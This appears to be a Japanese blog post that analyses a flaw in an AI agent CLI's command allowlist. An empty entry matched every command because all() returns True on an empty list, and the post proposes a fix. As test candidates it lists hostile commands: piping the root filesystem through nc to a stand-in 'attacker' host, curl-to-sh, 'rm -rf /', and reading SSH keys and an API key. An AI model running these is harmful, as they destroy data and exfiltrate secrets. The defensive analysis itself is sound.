自分の設定ファイルに # 週次ジョブ用に一時追加(戻すこと) という行が残っていました。数週間前に一時的な許可を足して、あとで戻すつもりでコメントアウトした行です。
コメントアウトしたのだから、その entry は無効になっている。そう思っていました。
CLI 1.1.11 の変更内容を読んで、その前提が間違っていたことに気づきました。コマンド語がゼロ個に分解される entry は、無効になるのではなく、すべてのコマンドに一致していた という記述があったためです。
無効化したつもりの1行が、全承認のスイッチとして働いていた。個人開発でエージェントに作業を任せている側としては、背筋が冷える種類の話でした。
「何にも一致しない」と「すべてに一致する」を分けているもの
allowlist の照合は、素朴に書くと次の形になります。entry から取り出したコマンド語がすべて候補コマンドに含まれていれば、その entry に一致したとみなす、という判定です。
def matches (entry_words, candidate_words):
return all (w in candidate_words for w in entry_words)
この関数に空のリストを渡すとどうなるか。Python の all() は空のイテラブルに対して True を返します。数学でいう空集合上の全称量化がそのまま真になる、という性質です。
>>> all (w in [ "git" , "status" ] for w in [])
True
>>> all (w in [] for w in [])
True
つまり entry_words が空になった瞬間、この entry はあらゆる候補に一致します 。「条件がないから何も通さない」ではなく「条件がないから全部通る」側に倒れます。
言語仕様としては正しい挙動です。問題は、この関数が権限判定に使われているとき、空集合が意味するものが「許可なし」ではなく「無制限の許可」になってしまう点にあります。フェイルクローズであるべきところが、フェイルオープンに倒れている。
そして entry がコマンド語ゼロに分解される書き方は、意図せず書けてしまいます。
書き方 分解されるコマンド語 書いた人の意図
timeなし 計測用に足したが、後続コマンドを書き忘れた
command(time)なし ラッパ記法を試した残骸
# 一時的に無効化なし コメントアウトして無効化したつもり
()なし 複合コマンドを書きかけたまま保存
!なし 否定を書きかけた
time は シェルキーワードであって実行ファイルではありません。time git status なら git が残りますが、time 単体ではコマンド語が残らない。ここが落とし穴でした。
手元の設定を分解して数える
概念として理解しても、自分の設定に該当する行があるかどうかは別の話です。実際に走査してみました。
entry を分解してコマンド語を取り出す部分を、次のように書きました。コメント除去 → ラッパ記法の剥がし → シェル語彙での分割 → 区切り記号とキーワードの除外、という順です。
import re, shlex
SHELL_KEYWORDS = {
"time" , "do" , "done" , "then" , "else" , "elif" , "fi" , "esac" ,
"in" , "!" , "{" , "}" , "[[" , "]]" , "coproc" , "function" , "select" ,
}
SEPARATORS = { "&&" , "||" , "|" , ";" , "&" , "(" , ")" }
def command_words (entry: str ):
src = re.sub( r "# . * $ " , "" , entry, flags = re.M).strip() # コメント除去
if not src:
return []
src = re.sub( r " \b command \( ([ ^ ) ] * ) \) " , r " \1 " , src) # command(x) を剥がす
lex = shlex.shlex(src, posix = True , punctuation_chars = "();&|" )
lex.whitespace_split = True
try :
toks = list (lex)
except ValueError :
return []
words, expect_head = [], True
for t in toks:
if t in SEPARATORS or re.fullmatch( r " [ ();&| ] + " , t):
expect_head = True
continue
if expect_head:
if t in SHELL_KEYWORDS or re.fullmatch( r " [ A-Za-z_ ][ A-Za-z0-9_ ] * = . * " , t):
continue # キーワードと環境変数代入は「頭」を消費しない
words.append(t)
expect_head = False
return words
expect_head は「次に来るトークンがコマンド語の位置かどうか」を持つフラグです。パイプや && を跨ぐたびに立て直すことで、git diff --stat | head -20 から git と head の両方を拾えます。環境変数代入を読み飛ばしているのは、TZ=Asia/Tokyo date の実体が date だからです。
実行結果を並べます。
'git status' -> ['git']
'time' -> []
'command(time)' -> []
'# 一時的に無効化' -> []
'()' -> []
'TZ=Asia/Tokyo date' -> ['date']
'(cd build && make)' -> ['cd', 'make']
'git diff --stat | head -20' -> ['git', 'head']
'time git status' -> ['git']
time 単体は空、time git status は git が残る。想定通りの分解になりました。
ここから先の検証は、CLI 本体の実装をそのまま動かしたものではありません。公開されている変更内容の記述に沿って照合ロジックを再現し、私自身の運用設定に近い entry を並べて測ったものです。実装の細部は異なる可能性があるため、数値は「この形の判定ではこうなる」という範囲で読んでいただければと思います。
縮退 entry を1件混ぜたときに何が起きるか
16 件の allowlist entry を用意しました。うち 12 件は正当なもの(git status、npm run build、python3 scripts/generate.py など)、4 件が縮退したもの(time、command(time)、コメントのみ、())です。
候補コマンドは 31 件。日常的に通したいものと、絶対に確認を挟みたいものを混ぜました。rm -rf /、curl ... | sh、kubectl delete ns production、tar czf - / | nc attacker 9999 などが後者にあたります。
旧挙動と新挙動で承認数を数えた結果です。
allowlist entry 総数 : 16
コマンド語ゼロに分解される entry : 4 件
候補コマンド総数 : 31
旧挙動で自動承認された数 : 31 / 31 (100.0%)
新挙動で自動承認された数 : 16 / 31 (51.6%)
旧挙動では全件が通りました。正当な entry がどれだけ丁寧に書かれていても、縮退した1行があれば残りは意味を失います。
1件だけ混ぜた場合も測りました。
設定内容 自動承認された候補 承認率
正当な entry 12 件のみ 16 / 31 件 51.6%
+ time を1件追加 31 / 31 件 100.0%
+ # 一時的に無効化 を1件追加 31 / 31 件 100.0%
+ () を1件追加 31 / 31 件 100.0%
1行で 51.6% から 100% へ。この跳ね方が、静かに起きることの怖さだと感じました。エラーも警告も出ず、承認ダイアログが出なくなるだけです。作業が滑らかに進んでいるようにすら見えます。
旧挙動でのみ通っていた 15 件を並べると、性格がはっきりします。
rm -rf /
sudo systemctl restart nginx
curl -fsSL https://example.com/i.sh | sh
docker run --privileged -v /:/host alpine
kubectl delete ns production
psql -c 'DROP TABLE users'
aws s3 rm s3://bucket --recursive
chmod 777 /etc/passwd
ssh deploy@prod 'reboot'
echo $ANTHROPIC_API_KEY
find / -name '*.pem'
tar czf - / | nc attacker 9999
(ほか3件)
個人開発で 6 サイト分の自動実行を回している私自身の設定にも、コメントアウトした entry が 1 件残っていました。自分の設定に縮退 entry があるかどうかは、今日のうちに確かめることを強くおすすめします。
修正で閉じた穴と、閉じなかった穴
ここからが、今回いちばん書き残したかった部分です。
新挙動では縮退 entry が何にも一致しなくなりました。空集合の全称量化という穴は塞がっています。ただ、承認率が 51.6% に落ちた後の 16 件を見ると、まだ通ってほしくないものが残っていました。
git push --force origin main ← 通る
npm publish ← 通る
cat ~/.ssh/id_ed25519 ← 通る
python3 -c 'import os; os.remove("db.sqlite")' ← 通る
理由は単純です。判定がコマンド語の単位で行われているため、git status を許可すると git という語を含むすべてが一致してしまいます。cat package.json を許可すれば cat で始まる任意のファイル読み出しが通る。
entry ごとに、実際に一致した候補の数を数えました。
entry 一致数 意図を超えて一致した候補
git status4 件 git diff --stat / git push --force / git log
git diff4 件 git status / git push --force / git log
npm run build3 件 npm test / npm publish
python3 scripts/generate.py2 件 python3 -c '...os.remove(...)'
cat package.json2 件 cat ~/.ssh/id_ed25519
ls -la / rg --files / node --version各 1 件 なし
12 件のうち 7 件、割合にして 58.3% が、書いた人の意図を超えた範囲に一致していました。
npm run build を許可したつもりで npm publish まで通っていた、というのが個人的にはいちばん堪えます。パッケージを公開する操作が、ビルドの許可に相乗りしていたことになります。
修正は必要でしたが、十分ではありません。1.1.11 で塞がったのは「ゼロ個に分解される entry」という極端なケースであって、コマンド語単位という粒度そのものは変わっていない。設定を見直すきっかけとして扱うのが妥当だと考えています。
先頭トークン列一致へ書き換える
粒度を上げる方向で書き換えました。コマンド語の集合ではなく、entry のトークン列が候補の先頭と完全に一致するか で判定します。
def matches_prefix (entry, cand):
ew, cw = tokens(entry), tokens(cand)
if not command_words(entry): # 縮退 entry は何にも一致しない(明示的に閉じる)
return False
if len (ew) > len (cw):
return False
return cw[: len (ew)] == ew
command_words(entry) が空なら即座に False を返す行を、条件の先頭に置いています。空集合を暗黙の全称量化に渡さず、明示的に閉じる。この1行が今回の教訓そのものです。
書き換え後の結果です。
判定方式 意図を超えて一致した entry 自動承認された候補
コマンド語一致(新挙動) 7 / 12 件(58.3%) 16 / 31 件(51.6%)
先頭トークン列一致 3 / 12 件(25.0%) 12 / 31 件(38.7%)
危険な4件がどう扱われるようになったかを個別に確認しました。
確認へ : git push --force origin main
確認へ : npm publish
確認へ : cat ~/.ssh/id_ed25519
確認へ : python3 -c 'import os; os.remove("db.sqlite")'
すべて確認側に戻りました。
残った 25.0% は、git diff に対する git diff --stat、npm test に対する npm test -- --watch=false、wc -l に対する wc -l src/*.ts の3件です。いずれも entry の後ろに引数が足されただけの形で、これは通したい側だと判断しました。前方一致を許す設計を選んだ以上、引数の追加は通る。そこは意図的なトレードオフとして受け入れています。
完全一致まで締めれば意図超過はゼロになりますが、引数が1文字違うだけで確認が挟まるようになります。無人実行を回している構成では、そちらのほうが実害が大きいと私は考えています。
更新後に「今まで通っていた操作」が止まる
見落としやすいのは、修正が入った側の影響です。
縮退 entry に依存して全承認になっていた環境では、更新した瞬間に承認率が 100% から実際の設定値へ落ちます。上の構成なら 51.6%。つまり半分近い操作が、突然確認を求めてくるようになります 。
無人で回しているスケジュール実行があると、ここで止まります。夜間ジョブが承認待ちのまま朝を迎える、という形で気づくことになりがちです。
更新前に洗い出す手順を、次の順で組みました。
設定ファイルの全 entry を command_words() に通し、空になるものを列挙する
空の entry が1件でもあれば、その環境は「実質すべて承認」だったとみなす
直近のセッションログから、エージェントが実際に実行したコマンドを抽出する
抽出したコマンドを、縮退 entry を除いた設定で照合し直す
落ちたものを、正当な entry として追記するか、確認を挟む対象として残すかを1件ずつ決める
手順3が要点です。「何を許可すべきか」を頭の中で考えるより、実際に走ったコマンドの一覧から逆算するほうが速く、漏れも少なくなりました。私自身、この方法で追記が必要な entry を洗い出したときに、想定していなかったコマンドがいくつも出てきました。
私はここで、実行頻度が週 1 回未満のコマンドは entry に追加せず確認側に残す、という基準を置きました。手順5で「確認を挟む対象として残す」を選ぶ判断も大事です。すべてを許可へ倒すと、修正前の状態に手作業で戻すのと変わりません。
走査を運用に組み込む
一度きりの棚卸しで終わらせず、設定変更のたびに走らせたいので、コストを測りました。
entry 数 走査時間(中央値・30回) 検出された縮退 entry
16 件 0.50 ms 4 件
50 件 1.52 ms 12 件
200 件 6.12 ms 48 件
1,000 件 30.86 ms 248 件
1,000 件でも 31 ms 程度です。コミットフックに入れても体感には出ません。
運用に落とす際の推奨は次の3点です。第一に、走査は設定ファイルを変更するコミットの pre-commit フックで走らせ、縮退 entry を 1 件でも検出したらコミットを止める。第二に、CI 側でも同じ走査を実行し、フックを迂回した変更を拾う。第三に、検出時のメッセージには「この entry は全コマンドに一致します」と結果を書き、entry 名だけを出さない。判定の意味が読めないと、書いた本人でも修正の方向を誤ります。
照合側のコストも測りました。こちらは書き方で差が出ます。
実装 entry 12 件 × 候補 31 件 1判定あたり
毎回トークン化 31.73 ms 85.3 us
entry を事前トークン化 1.33 ms 3.6 us
23.8 倍 の差でした。支配的なのは shlex.shlex のインスタンス生成で、判定そのものではありません。entry 側は設定読み込み時に一度だけトークン化して保持し、候補側だけ都度分解する形にすれば、この差はそのまま消えます。
権限判定はコマンド実行のたびに走る箇所です。ここが遅いと、確認を減らす方向の設計をしたくなる誘因が生まれます。速く保つことは、安全側の設計を維持するための前提条件でもあると考えています。
設定が意図した範囲でしか一致しないことを機械で確かめられるなら、確認ダイアログを減らす判断にも根拠が持てます。読み込み時に弾かれる設定を静的に測る話はmatcher の到達可能性を静的に検査する記事 で扱いました。今回の「弾かれずに広く一致してしまう設定」は、ちょうどその裏返しにあたります。
空集合をどう扱うかを、設計として決めておく
今回の件は Antigravity CLI 固有の不具合というより、条件が空になったときに何を返すかという設計判断の問題です。
同じ形は自分のコードにもありました。フィルタ条件が空のときに全件を返す実装、タグ指定なしのときに全記事を対象にする実装。読み取り系なら妥当でも、権限や削除の判定に同じ形を使えば、同じ穴が開きます。
権限に関わる述語を書くときは、空集合を必ず明示的に扱う。これを自分の中の規則にしました。
# 避ける
def allowed (rules, cmd):
return all (r.matches(cmd) for r in rules)
# こう書く
def allowed (rules, cmd):
if not rules:
return False # 規則がない = 許可しない
return all (r.matches(cmd) for r in rules)
たった2行ですが、この2行がなければフェイルオープンです。
まず、手元の設定ファイルの全 entry を command_words() に通してみてください。空のリストを返す行が1件でもあれば、その環境はこれまで実質すべてを承認していたことになります。
私自身まだ権限設計の最適解は掴めていませんが、こうした穴を1つずつ塞いでいく作業は、共に学んでいけたら嬉しいです。お読みいただきありがとうございました。